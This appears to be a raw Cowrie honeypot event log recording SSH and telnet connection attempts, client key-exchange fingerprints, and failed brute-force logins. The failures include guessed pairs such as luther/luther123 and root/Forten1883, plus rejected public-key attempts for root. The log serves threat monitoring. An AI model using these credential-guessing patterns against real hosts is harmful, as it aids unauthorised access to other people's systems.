{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:31:24.422805Z","src_ip":"213.209.159.56","session":"ee6322736d53","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"luther","password":"luther","message":"login attempt [luther/luther] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:31:24.827877Z","src_ip":"213.209.159.56","session":"ee6322736d53","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"luther","password":"luther1","message":"login attempt [luther/luther1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:31:25.914343Z","src_ip":"213.209.159.56","session":"ee6322736d53","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"luther","password":"luther123","message":"login attempt [luther/luther123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:31:27.000429Z","src_ip":"213.209.159.56","session":"ee6322736d53","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"luther","password":"luther1234","message":"login attempt [luther/luther1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:31:28.087029Z","src_ip":"213.209.159.56","session":"ee6322736d53","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"luther","password":"luther12345","message":"login attempt [luther/luther12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:31:29.175707Z","src_ip":"213.209.159.56","session":"ee6322736d53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:31:30.260857Z","src_ip":"213.209.159.56","session":"ee6322736d53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.61859655380249,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:31:31.195409Z","src_ip":"152.42.224.71","session":"8d9333e1464d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.95.10.204","src_port":13486,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a97262689d0","protocol":"ssh","message":"New connection: 192.95.10.204:13486 (10.17.0.5:22) [session: 8a97262689d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:31:31.567907Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:31:31.572842Z","src_ip":"192.95.10.204","session":"8a97262689d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:31:31.592615Z","src_ip":"192.95.10.204","session":"8a97262689d0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"45:f5:76:16:b2:9c:b2:77:76:8a:17:13:9b:5d:4b:f2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCUUMtMrawJ3bmQnXNDLHC/1nZjCAA6Qqn7OHDZwc/ygsR32nYyVpV7RNrRQeNfTB8ek76D2qNNVfdlGd3gQYFYukC2obgK+bNlOuIF6B52u6BiMTvYgVHK5hj4rRHWR718zDH03gWtqq8IpwNpYczy3MKeDvhxFY0EgdL6t/oR2zTeTSJITl0bw+x028NLyAIHEvK12SNPI6ezr2AfOPiuOS+cn83GdTUwxcQ0hpey0c80LpKkSBVQn26YMeeshinDWVlCmEyE3IRvTtjJz0yUPuJji5xyAFxLIPaGYE0dAXtm1bMsVb/RY2V9GjHNa5zA8mwwWFbNFS1an97GHOED","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 45:f5:76:16:b2:9c:b2:77:76:8a:17:13:9b:5d:4b:f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:31:31.665112Z","src_ip":"192.95.10.204","session":"8a97262689d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"45:f5:76:16:b2:9c:b2:77:76:8a:17:13:9b:5d:4b:f2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCUUMtMrawJ3bmQnXNDLHC/1nZjCAA6Qqn7OHDZwc/ygsR32nYyVpV7RNrRQeNfTB8ek76D2qNNVfdlGd3gQYFYukC2obgK+bNlOuIF6B52u6BiMTvYgVHK5hj4rRHWR718zDH03gWtqq8IpwNpYczy3MKeDvhxFY0EgdL6t/oR2zTeTSJITl0bw+x028NLyAIHEvK12SNPI6ezr2AfOPiuOS+cn83GdTUwxcQ0hpey0c80LpKkSBVQn26YMeeshinDWVlCmEyE3IRvTtjJz0yUPuJji5xyAFxLIPaGYE0dAXtm1bMsVb/RY2V9GjHNa5zA8mwwWFbNFS1an97GHOED","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:31:31.669368Z","src_ip":"192.95.10.204","session":"8a97262689d0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f0:f8:eb:ff:80:f8:5f:0a:9e:a4:84:73:14:6f:a3:ee","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDWqRXWU1Wihf9u8L4bMRpomLAUTJuZvvSNatNUYPkap1iBbqV68DbytAHJLM+sPjsetTes4zAxLtiRSYddzJdDaxl6thnlsR3B7rJ47HFQ4GNq+klhZiarQuRtNt408cBpnlhrXCJ2BBgdgwpEW/T2cd3M3ID3qu2OVE+YV/KoFur5t0/kA/5akV/oc+pS7TDyup35D0RX27dLl5+P2RvJT7uvHcn9d2DN6lrX7HiTwRWyxE8WyxChoD8kDymiyK6WdWFm2hiwdUTqOZXZZtav8Z9d6Ilt/nvfGWYs2GjZhhhDFR2Vrjdt++mX5N5G1C6FhNuRDIKUNXckQmgAZAud","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f0:f8:eb:ff:80:f8:5f:0a:9e:a4:84:73:14:6f:a3:ee","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:31:31.689540Z","src_ip":"192.95.10.204","session":"8a97262689d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f0:f8:eb:ff:80:f8:5f:0a:9e:a4:84:73:14:6f:a3:ee","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDWqRXWU1Wihf9u8L4bMRpomLAUTJuZvvSNatNUYPkap1iBbqV68DbytAHJLM+sPjsetTes4zAxLtiRSYddzJdDaxl6thnlsR3B7rJ47HFQ4GNq+klhZiarQuRtNt408cBpnlhrXCJ2BBgdgwpEW/T2cd3M3ID3qu2OVE+YV/KoFur5t0/kA/5akV/oc+pS7TDyup35D0RX27dLl5+P2RvJT7uvHcn9d2DN6lrX7HiTwRWyxE8WyxChoD8kDymiyK6WdWFm2hiwdUTqOZXZZtav8Z9d6Ilt/nvfGWYs2GjZhhhDFR2Vrjdt++mX5N5G1C6FhNuRDIKUNXckQmgAZAud","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:31:31.695557Z","src_ip":"192.95.10.204","session":"8a97262689d0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5d:04:bd:ca:1a:10:a4:45:8b:1f:41:92:13:24:a9:87","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDIxuwe+2YwFS3B/FrZehK9VGJPbeScCZkpp37YNZBDt7DWBjn9zDZBZMVmT8Lg31b41PaHszw4U/kQ7UHe6fIj0Uw2VWYniY+aAVIAID+iXTDdcCBw746HqkBd35WoxZQBlyzi4SumHlBrmGeiwN0VSLWqCRqqhblpUD/TAFmSPiu8LEM9R6m5mZDcSqQGgeC+TjXMCU0FnCvBdtRpBJiXUtzayWj3wlL00heMK0MHuQdrBgOuQTcZHOP+IyP5H0cAWVhncsXiufYz6FJd0TnTN2QH+UNQr1sextUm3XqLtp+3rJQNN/yyyP7PM4k5fcNRAVdvxm31JmXgww+gtI09YEBvnlMA7x/v/KKj5rizz31DIqx0VlTTeIrkQzzwtj6uGN9PP88qjpm40YuNofdSDH1QSdhNsR8fWm9vgFZ5a2W5iyoulNC8xyGEy55fpi/SULQnKLNQQe6oEbOBRtyGmT5XukZlcVivZnjCo8x6xQvqnS9jY70t+gib+2PZlKhuVVuuU6plkXOfrLlMLQuwKO1GJrnN9nkdb9dHCQalwRCLDWH+hjmkUtLNh2AX4p+V8VOBpC4M+dqOu6XpYEINCRF4ePJ/RCzkuE+2yFT8u+a0hVAZFq6PCT+yTEvQetcnT4jLAMvmqlAJNhyrFA/p8Nw6ss755wXl7if6qjR2rw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5d:04:bd:ca:1a:10:a4:45:8b:1f:41:92:13:24:a9:87","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:31:31.715475Z","src_ip":"192.95.10.204","session":"8a97262689d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5d:04:bd:ca:1a:10:a4:45:8b:1f:41:92:13:24:a9:87","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDIxuwe+2YwFS3B/FrZehK9VGJPbeScCZkpp37YNZBDt7DWBjn9zDZBZMVmT8Lg31b41PaHszw4U/kQ7UHe6fIj0Uw2VWYniY+aAVIAID+iXTDdcCBw746HqkBd35WoxZQBlyzi4SumHlBrmGeiwN0VSLWqCRqqhblpUD/TAFmSPiu8LEM9R6m5mZDcSqQGgeC+TjXMCU0FnCvBdtRpBJiXUtzayWj3wlL00heMK0MHuQdrBgOuQTcZHOP+IyP5H0cAWVhncsXiufYz6FJd0TnTN2QH+UNQr1sextUm3XqLtp+3rJQNN/yyyP7PM4k5fcNRAVdvxm31JmXgww+gtI09YEBvnlMA7x/v/KKj5rizz31DIqx0VlTTeIrkQzzwtj6uGN9PP88qjpm40YuNofdSDH1QSdhNsR8fWm9vgFZ5a2W5iyoulNC8xyGEy55fpi/SULQnKLNQQe6oEbOBRtyGmT5XukZlcVivZnjCo8x6xQvqnS9jY70t+gib+2PZlKhuVVuuU6plkXOfrLlMLQuwKO1GJrnN9nkdb9dHCQalwRCLDWH+hjmkUtLNh2AX4p+V8VOBpC4M+dqOu6XpYEINCRF4ePJ/RCzkuE+2yFT8u+a0hVAZFq6PCT+yTEvQetcnT4jLAMvmqlAJNhyrFA/p8Nw6ss755wXl7if6qjR2rw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:31:31.719550Z","src_ip":"192.95.10.204","session":"8a97262689d0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"87:eb:39:54:7b:9b:a8:81:6f:92:ef:1f:9e:58:d5:32","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7C+XLi+Bu6rCY803Sf6aKdIpTJ18Yhc7eleDrR5NGO5GSI25Bvc+5VcbgItxU64Lj73QZkm0kyHo5upb1xQn5TcULEZ4dsDEfpt5frxBZ93RSFxtBoDihmI3PYMxNRlvlgSb8OtY1Jwmt4NLVwV9ISSV6XV6wxpBUJFe+uDGsQtOou1S1oAjsowXhoW3M21D3b5OeUM8wn9ZqXH9Ebqi+E76U3G4a/GmN+8YMDdCHWWOfwDC7W/QxWQA5HWZ3DXQUKMIXaOYNyAfKHJ9uppnVYiH6j72bf7Bhgt1+eCs1dnCMNRYueHx5GEXONxg7W1u97ZDA1R4XDxd8j4dKZS8X","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 87:eb:39:54:7b:9b:a8:81:6f:92:ef:1f:9e:58:d5:32","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:31:31.738932Z","src_ip":"192.95.10.204","session":"8a97262689d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"87:eb:39:54:7b:9b:a8:81:6f:92:ef:1f:9e:58:d5:32","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7C+XLi+Bu6rCY803Sf6aKdIpTJ18Yhc7eleDrR5NGO5GSI25Bvc+5VcbgItxU64Lj73QZkm0kyHo5upb1xQn5TcULEZ4dsDEfpt5frxBZ93RSFxtBoDihmI3PYMxNRlvlgSb8OtY1Jwmt4NLVwV9ISSV6XV6wxpBUJFe+uDGsQtOou1S1oAjsowXhoW3M21D3b5OeUM8wn9ZqXH9Ebqi+E76U3G4a/GmN+8YMDdCHWWOfwDC7W/QxWQA5HWZ3DXQUKMIXaOYNyAfKHJ9uppnVYiH6j72bf7Bhgt1+eCs1dnCMNRYueHx5GEXONxg7W1u97ZDA1R4XDxd8j4dKZS8X","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:31:31.743026Z","src_ip":"192.95.10.204","session":"8a97262689d0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"75:ad:8b:2a:c4:76:f8:74:28:a5:4a:f5:cf:2e:fe:06","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBGYaqM++Wgp1FH5CIVE1Y+lgMJIQaRjtGLu8KjUdNLiGz6vAk/SND7DqPd5tOqoV9XSPvlPPOUzcNDwRsFD8LrM+pLCVWMOAKGjmgmw2M1PR9E8XPICFYzJr5jjvMUHvPAD60KlpE17U3ro6wLOS4H4n0vvIGBE4NC4yJ3MMi0iXtjGheFo1vTYuxaRO992ARL2EQdS4yNwHGa1Y3nqG2vWEqcsQwiWEKNI26vmAu49ljBzf6LSqGw0YDRJKV4FyIHQW913fRoz708Lj+A0l013dwHfRn4rItphaxEFlU2Tc3Vy8KSeUymXVaKEAZgSL4fdju2NMaUACt0JCaKlyB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 75:ad:8b:2a:c4:76:f8:74:28:a5:4a:f5:cf:2e:fe:06","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:31:31.763019Z","src_ip":"192.95.10.204","session":"8a97262689d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"75:ad:8b:2a:c4:76:f8:74:28:a5:4a:f5:cf:2e:fe:06","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBGYaqM++Wgp1FH5CIVE1Y+lgMJIQaRjtGLu8KjUdNLiGz6vAk/SND7DqPd5tOqoV9XSPvlPPOUzcNDwRsFD8LrM+pLCVWMOAKGjmgmw2M1PR9E8XPICFYzJr5jjvMUHvPAD60KlpE17U3ro6wLOS4H4n0vvIGBE4NC4yJ3MMi0iXtjGheFo1vTYuxaRO992ARL2EQdS4yNwHGa1Y3nqG2vWEqcsQwiWEKNI26vmAu49ljBzf6LSqGw0YDRJKV4FyIHQW913fRoz708Lj+A0l013dwHfRn4rItphaxEFlU2Tc3Vy8KSeUymXVaKEAZgSL4fdju2NMaUACt0JCaKlyB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:31:31.766066Z","src_ip":"192.95.10.204","session":"8a97262689d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:31:31.786310Z","src_ip":"192.95.10.204","session":"8a97262689d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45294,"dst_ip":"10.17.0.5","dst_port":23,"session":"2bbfcafe8d2d","protocol":"telnet","message":"New connection: 152.42.224.71:45294 (10.17.0.5:23) [session: 2bbfcafe8d2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:31:52.041717Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37052,"dst_ip":"10.17.0.5","dst_port":23,"session":"242e85e16a32","protocol":"telnet","message":"New connection: 152.42.224.71:37052 (10.17.0.5:23) [session: 242e85e16a32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:31:55.869534Z"}
{"eventid":"cowrie.session.closed","duration":15.740479946136475,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:32:07.782082Z","src_ip":"152.42.224.71","session":"2bbfcafe8d2d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":52522,"dst_ip":"159.203.135.109","dst_port":22,"session":"4157bc3e2adb","protocol":"ssh","message":"New connection: 87.251.79.125:52522 (159.203.135.109:22) [session: 4157bc3e2adb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:32:14.927806Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:32:14.936707Z","src_ip":"87.251.79.125","session":"4157bc3e2adb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:32:15.009039Z","src_ip":"87.251.79.125","session":"4157bc3e2adb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:32:15.232308Z","src_ip":"87.251.79.125","session":"4157bc3e2adb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:32:16.307424Z","src_ip":"87.251.79.125","session":"4157bc3e2adb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50640,"dst_ip":"10.17.0.5","dst_port":23,"session":"90450c05c1e2","protocol":"telnet","message":"New connection: 152.42.224.71:50640 (10.17.0.5:23) [session: 90450c05c1e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:32:21.835629Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":37846,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b00f23cd159","protocol":"ssh","message":"New connection: 2.57.122.238:37846 (10.17.0.5:22) [session: 1b00f23cd159]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:32:31.546976Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:32:31.554730Z","src_ip":"2.57.122.238","session":"1b00f23cd159","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:32:31.659065Z","src_ip":"2.57.122.238","session":"1b00f23cd159","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"validator","password":"validator","message":"login attempt [validator/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:32:31.974145Z","src_ip":"2.57.122.238","session":"1b00f23cd159","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:32:33.082695Z","src_ip":"2.57.122.238","session":"1b00f23cd159","protocol":"ssh"}
